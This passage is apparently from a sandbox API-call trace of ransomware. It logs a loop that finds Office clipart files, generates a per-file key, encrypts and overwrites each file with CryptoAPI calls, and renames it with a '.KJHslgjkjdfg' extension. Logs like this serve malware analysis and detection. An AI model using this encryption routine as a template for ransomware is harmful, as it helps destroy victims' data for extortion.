lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.632] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.632] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.633] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.633] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.633] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.633] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.633] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa69e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa69e, lpOverlapped=0x0) returned 1 [0179.656] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa6a0, dwBufLen=0xa6a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa6a0) returned 1 [0179.715] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.715] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa6a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa6a0, lpOverlapped=0x0) returned 1 [0179.716] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.716] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.716] SetEndOfFile (hFile=0x114) returned 1 [0179.719] GetProcessHeap () returned 0x2a0000 [0179.720] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.720] GetProcessHeap () returned 0x2a0000 [0179.720] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.720] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf.kjhslgjkjdfg")) returned 1 [0179.721] CloseHandle (hObject=0x114) returned 1 [0179.721] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f9c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198372.WMF", cAlternateFileName="")) returned 1 [0179.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.722] GetProcessHeap () returned 0x2a0000 [0179.722] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.723] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.723] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.723] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.726] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.726] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.726] GetProcessHeap () returned 0x2a0000 [0179.726] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.726] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.726] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.726] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.726] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.726] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.726] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.727] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.727] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.727] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.727] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.727] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.727] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6f9c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6f9c, lpOverlapped=0x0) returned 1 [0179.728] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6fa0, dwBufLen=0x6fa0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6fa0) returned 1 [0179.729] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.729] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6fa0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6fa0, lpOverlapped=0x0) returned 1 [0179.729] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.729] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.729] SetEndOfFile (hFile=0x114) returned 1 [0179.732] GetProcessHeap () returned 0x2a0000 [0179.732] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.732] GetProcessHeap () returned 0x2a0000 [0179.732] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.732] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf.kjhslgjkjdfg")) returned 1 [0179.734] CloseHandle (hObject=0x114) returned 1 [0179.734] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1925100, ftCreationTime.dwHighDateTime=0x1be3a08, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1925100, ftLastWriteTime.dwHighDateTime=0x1be3a08, nFileSizeHigh=0x0, nFileSizeLow=0x9d6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198377.WMF", cAlternateFileName="")) returned 1 [0179.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.736] GetProcessHeap () returned 0x2a0000 [0179.736] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.736] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.736] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.736] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.738] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.738] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.738] GetProcessHeap () returned 0x2a0000 [0179.738] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.738] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.738] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.738] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.738] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.739] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.739] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.740] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.740] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.740] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.740] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.740] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.740] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9d6c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9d6c, lpOverlapped=0x0) returned 1 [0179.741] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9d70, dwBufLen=0x9d70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9d70) returned 1 [0179.742] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.742] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9d70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9d70, lpOverlapped=0x0) returned 1 [0179.742] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.742] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9e44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.742] SetEndOfFile (hFile=0x114) returned 1 [0179.745] GetProcessHeap () returned 0x2a0000 [0179.745] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.745] GetProcessHeap () returned 0x2a0000 [0179.745] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf.kjhslgjkjdfg")) returned 1 [0179.747] CloseHandle (hObject=0x114) returned 1 [0179.747] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc20c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198447.WMF", cAlternateFileName="")) returned 1 [0179.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.750] GetProcessHeap () returned 0x2a0000 [0179.750] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.750] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.750] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.750] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.753] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.753] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.753] GetProcessHeap () returned 0x2a0000 [0179.753] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.753] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.753] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.753] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.753] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.753] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.753] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.753] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.754] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.754] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.754] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.754] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.754] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc20c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc20c, lpOverlapped=0x0) returned 1 [0179.755] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc210, dwBufLen=0xc210 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc210) returned 1 [0179.756] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.756] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc210, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc210, lpOverlapped=0x0) returned 1 [0179.756] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.756] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.756] SetEndOfFile (hFile=0x114) returned 1 [0179.759] GetProcessHeap () returned 0x2a0000 [0179.759] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.759] GetProcessHeap () returned 0x2a0000 [0179.760] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.760] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf.kjhslgjkjdfg")) returned 1 [0179.761] CloseHandle (hObject=0x114) returned 1 [0179.761] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xae08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198494.WMF", cAlternateFileName="")) returned 1 [0179.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.762] GetProcessHeap () returned 0x2a0000 [0179.762] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.762] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.762] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.762] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.765] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.765] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.765] GetProcessHeap () returned 0x2a0000 [0179.765] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.765] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.765] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.765] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.765] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.765] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.766] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.766] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.766] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.766] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.766] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.766] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.766] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xae08, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xae08, 